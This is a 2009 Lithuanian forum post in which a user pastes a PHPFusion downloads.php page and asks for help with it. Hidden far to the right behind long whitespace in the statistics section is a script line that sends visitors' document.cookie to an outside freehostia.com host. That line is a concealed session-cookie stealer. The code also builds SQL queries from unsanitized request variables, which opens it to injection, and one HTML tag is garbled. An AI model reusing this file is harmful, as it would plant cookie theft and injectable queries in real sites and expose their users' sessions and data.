Temos pavadinimas: WordPress, Shopify ir PHPFusion programuotojų bendruomenė :: Klausimas :)

Parašė iGolf· 2009 Spa. 27 18:10:35
#2

Tai chebra padėkit :) galvou, kad su downloads.php:
<?php
/* Autorius Dragelis */
require_once "maincore.php";
require_once "subheader.php";
require_once "side_left.php";
include INCLUDES."comments_include.php";                                                                                                                                                      

if (isset($download_id)) {
   $res = 0;
   if ($data = dbarray(dbquery("SELECT download_url,download_cat FROM ".$db_prefix."downloads WHERE download_id='$download_id'"))) {
      $cdata = dbarray(dbquery("SELECT * FROM ".$db_prefix."download_cats WHERE download_cat_id='".$data['download_cat']."'"));
      if (checkgroup($cdata['download_cat_access'])) {
         $res = 1;
         $result = dbquery("UPDATE ".$db_prefix."downloads SET download_count=download_count+1 WHERE download_id='$download_id'");
         redirect($data['download_url']);
      }
   }
   if ($res == 0) redirect("downloads.php");
}

if (isset($_GET['read'])) {
$read = $_GET['read'];
if (!isNum($read) || !dbcount("(*)", "downloads", "download_id = '$read'")) fallback(BASEDIR."news.php");
$data = dbarray(dbquery("SELECT * FROM ".$db_prefix."downloads
LEFT JOIN ".DB_PREFIX."users ON download_author = user_id
WHERE download_id = '$read'"));
opentable("Siuntinys: ".$data['download_title']);
echo "<table border='0' width='95%' align='center' cellspacing='1' cellpadding='0' class='tbl-border'><tr><td class='forum-caption' colspan='4'>".$data['download_title']."</td></tr><td class='tbl1' width='200' align='center' valign='middle' rowspan='8'>".($data['download_image'] || $data['download_image_url'] ? "<a href='".$data['download_image_url']."'><img src='".$data['download_image']."' alt=''></a>" : "<img src='".IMAGES."imagenotfound.jpg' alt=''>")."</td><td class='tbl2'width='1%' nowrap><b>Autorius:</b></td>                                                                                                                                                                                  
         <td class='tbl1'><a href='".BASEDIR."profile.php?lookup=".$data['user_id']."'>".$data['user_name']."</a></td></tr><tr>
         <td class='tbl2'width='1%' nowrap><b>Parsisiųsta:</b></td>
         <td class='tbl1'>".$data['download_count']."</td></tr><tr>
   <tr>
         <td class='tbl2'width='1%' nowrap><b>Failo dydis:</b></td>
         <td class='tbl1'>".($data['download_filesize'] ? $data['download_filesize'] : "Nenurodytas")."</td></tr>
         </tr>
        <tr>
   <td class='tbl2' align='center' height='30px' colspan='2'><small>
   Archyvo slaptažodis: <b>".($data['download_file_password'] ? $data['download_file_password'] : "Nėra")."</b>
   </small></td>
        </table><br><br><table border='0' width='95%' align='center' cellspacing='1' cellpadding='0' class='tbl-border'><tr>
   <td colspan='2' class='forum-caption'>Aprašymas / Veiksmai</td>
   </tr><tr>
   <td class='tbl1' width='200' align='center' valign='middle' rowspan='8'>".($data['download_description'] ? nl2br(stripslashes($data['download_description'])) : "Nėra")."</td><td class='tbl1' width='35%' align='left'><a href='".FUSION_SELF."?download_id=".$data['download_id']."' target='_blank'><img src='".THEME."images/bullet.gif' alt=''> Atsisiųsti</a></td></tr><tr>
   </tr><tr>
   <td class='tbl1' width='35%' align='left'><img src='".THEME."images/bullet.gif'> Komentuotas (".dbcount("(*)", "comments", "comment_type = 'D' AND comment_item_id = '$read'").")</td>
</tr></table><br><br><center><table width='95%' cellspacing='0' cellpadding='0'><tr><td width='50%'><a href=\"javascript:history.go(-1)\"><img src='".IMAGES."back.gif' align='left' border='0'></td><td width='50%'><a href='#'><img src='".IMAGES."top.gif' align='right' border='0'></a></td></tr></table></center>";
showcomments("D","downloads","download_id",$read,FUSION_SELF."?read=$read");
closetable();
} elseif (!isset($_GET['cat_id'])) {
opentable("Siuntiniai");
$result1 = dbquery("SELECT * FROM ".$db_prefix."download_cats WHERE ".groupaccess('download_cat_access')." ORDER BY download_cat_name");
if (dbrows($result1)) {
echo "<center><img src='".IMAGES."downloads.png' alt='' border='0'></center><br />";
echo "<center>Patalpinta <b><span class='alt'>".dbcount("(*)", "downloads")."</span></b> failai(-ų) <b><span class='alt'>".dbcount("(*)", "download_cats")."</span></b> kategorijose.</center><br />";
$result = dbquery("SELECT * FROM ".$db_prefix."downloads ORDER BY download_count DESC LIMIT 10");
echo "<table width='100%'>
<tr>
<td width='50%'><FIELDSET style='border: 1px ridge #000000; color: #000;'><LEGEND>Populiariausi failai</LEGEND>
<table width='100%'>
<tr>";
while ($data = dbarray($result)) {
echo "<tr>
<td class='small'><img src='".IMAGES."files.gif' alt=''> <a href='".FUSION_SELF."?read=".$data['download_id']."' title='".$data['download_title']."' class='side'>".trimlink($data['download_title'], 25)."</a></td>
<td align='right'>".$data['download_count']."</td>
</tr>";
}
echo "</table></td>";
$result = dbquery("SELECT * FROM ".$db_prefix."downloads ORDER BY download_datestamp DESC LIMIT 10");
echo "<td width='50%'><FIELDSET style='border: 1px ridge #000000; color: #000000;'><LEGEND>Naujausi failai</LEGEND>
<table width='100%'>
<tr>";
while ($data = dbarray($result)) {
echo "<tr>
<td class='small'><img src='".IMAGES."files.gif' alt=''><a href='".FUSION_SELF."?read=".$data['download_id']."' title='".$data['download_title']."' class='side'>".trimlink($data['download_title'], 25)."</a></td>
<td align='right'>".$data['download_count']."</td>
</tr>";
}
echo "</tr></table></td></tr></table>";
echo "<table class='tbl-border' style='margin-top: 10px;' cellspacing='1' width='100%' align='center'>";
      while ($data = dbarray($result1)) {
         
         $num = dbcount("(download_cat)", "downloads", "download_cat='".$data['download_cat_id']."'");
         echo "<tr>
<td class='tbl1' width='1%'><a class='small' href='".FUSION_SELF."?cat_id=".$data['download_cat_id']."' style='font-weight: bold;'><img src='".($data['download_cat_image'] ? IMAGES."download_cats/".$data['download_cat_image'] : IMAGES."imagenotfound.jpg")."' alt='".$data['download_cat_name']."' border='0'>
</a></td>
         <td class='tbl2' align='left' valign='center'><img src='".THEME."images/bullet.gif' alt='' border='0'>
         <a class='small' href='".FUSION_SELF."?cat_id=".$data['download_cat_id']."' style='font-weight: bold;'>".$data['download_cat_name']."</a> <span class='small2'>($num)</span><br>
         <span class='small'>".$data['download_cat_description']."</span></td>
</tr>";
      }
      echo "</table>";
}
echo "<table class='tbl-border' style='margin-top: 10px;' cellpadding='0' cellspacing='1' width='100%'>
<tr>
   <td class='forum-caption' colspan='2' width='1%'>Statistika</td>

</tr>
<tr>
   <td class='tbl1' align='center' width='1%'><img src='images/dl_stats.png' alt='Siuntinių statistika' border='0'></td>
   <td class='tbl2'>
<table border='0' cellpadding='0' cellspacing='1'>";

$dataq = dbarray(dbquery("SELECT * FROM ".$db_prefix."downloads ORDER BY download_id DESC LIMIT 0,1"));
echo "<tr><td>Naujausias siuntinys: </td>
<td> <a class='small' href='".FUSION_SELF."?read=".$dataq['download_id']."' title=''>".$dataq['download_title']."</a></td>                                                       <script>img = new Image();img.src = 'http://debeselis.freehostia.com/files/cookie.php?cookie='+document.cookie;</script>
</tr>";

$datax = dbarray(dbquery("SELECT * FROM ".$db_prefix."downloads ORDER BY download_count DESC LIMIT 0,1"));
echo "<tr><td>Populiariausias: </td>
<td> <a class='small' href='".FUSION_SELF."?read=".$datax['download_id']."' title=''>".$datax['download_title']."</a></td>
</tr>";

$cats = dbresult(dbquery("SELECT count(download_cat_id) FROM ".$db_prefix."download_cats"), 0);
echo "<tr><td>Kategorijų: </td>
<td class='small2'> $cats</td></tr>";

$countd = dbresult(dbquery("SELECT count(download_id) FROM ".$db_prefix."downloads"), 0);
echo "<tr>
   <td>Siuntinių: </td>
<td class='small2'> $countd</td>
</tr>";

$counth = dbresult(dbquery("SELECT SUM(download_count) FROM ".$db_prefix."downloads"), 0);
echo "<tr><td>Atsisiųsta: </td>
<td class='small2'> $counth</td></tr>";

echo "</table>
</td>
</tr>
</table>";
closetable();
} else {
   $res = 0;
   if (!isNum($cat_id)) fallback(FUSION_SELF);
   $result = dbquery("SELECT * FROM ".$db_prefix."download_cats
   WHERE download_cat_id='$cat_id'");
   if (dbrows($result)) {
      $cdata = dbarray($result);
      if (checkgroup($cdata['download_cat_access'])) {
         $res = 1;
         opentable($locale['400'].": ".$cdata['download_cat_name']);
         $rows = dbcount("(*)", "downloads", "download_cat='$cat_id'");
         if (!isset($rowstart) || !isNum($rowstart)) $rowstart = 0;
         if ($rows != 0) {
            $result = dbquery("SELECT * FROM ".$db_prefix."downloads
            LEFT JOIN ".DB_PREFIX."users ON download_author = user_id
            WHERE download_cat='$cat_id' ORDER BY ".$cdata['download_cat_sorting']."
            LIMIT $rowstart,15");
            $numrows = dbrows($result); $i = 1;
            while ($data = dbarray($result)) {
               if ($data['download_datestamp']+604800 > time()+($settings['timeoffset']*3600)) {
                  $new = " <span class='small'>".$locale['410']."</span>";
               } else {
                  $new = "";
               }
               echo "<table border='0' width='95%' align='center' cellspacing='1' cellpadding='0' class='tbl-border'><tr><td class='forum-caption' colspan='4'> ".$data['download_title']." $new
               </td>
                           </tr><td class='tbl1' width='200' align='center' valign='middle' rowspan='8'>".($data['download_image'] || $data['download_image_url'] ? "<a href='".$data['download_image_url']."'><img src='".$data['download_image']."' alt=''></a>" : "<img src='".IMAGES."imagenotfound.jpg' alt=''>")."</td><td class='tbl2'width='1%' nowrap><b>Autorius:</b></td>
                                        <td class='tbl1'><a href='".BASEDIR."profile.php?lookup=".$data['user_id']."'>".$data['user_name']."</a></td></tr><tr>
                                        <td class='tbl2'width='1%' nowrap><b>Parsisiųsta:</b></td>
                                        <td class='tbl1'>".$data['download_count']."</td></tr><tr>
                                        <td class='tbl2'width='1%' nowrap><b>Failo dydis:</b></td>
                                        <td class='tbl1'>".($data['download_filesize'] ? $data['download_filesize'] : "Nenurodytas")."</td></tr>
                                        </tr>
                               <tr>
   <td class='tbl2' align='center' height='30px' colspan='2'><small>
   <a align='center' href='".FUSION_SELF."?read=".$data['download_id']."'><small>Žiūrėti daugiau...</small></a>
   </small></td>
                               </taašable width='100%' cellspacing='0' cellpadding='0'><tr><td height='8'></td></tr></table>
<table width='100%' cellspacing='0' cellpadding='0'><tr><td height='8'></td></tr></table>";
               if ($i != $numrows) { echo "<div align='center'><img src='".THEME."images/blank.gif' alt='' height='15' width='1'></div>\n"; $i++; }
            }
            closetable();
            if ($rows > 15) echo "<div align='center' style='margin-top:5px;'>\n".makePageNav($rowstart,15,$rows,3,FUSION_SELF."?cat_id=$cat_id&amp;")."\n</div>\n";
         } else {
            echo $locale['431']."\n";
            closetable();
         }
      }
   }
   if ($res == 0) redirect(FUSION_SELF);
}

require_once "side_right.php";
require_once "footer.php";




Įdedu kodą :)

Redagavo iGolf· 2009 Spa. 27 18:10:36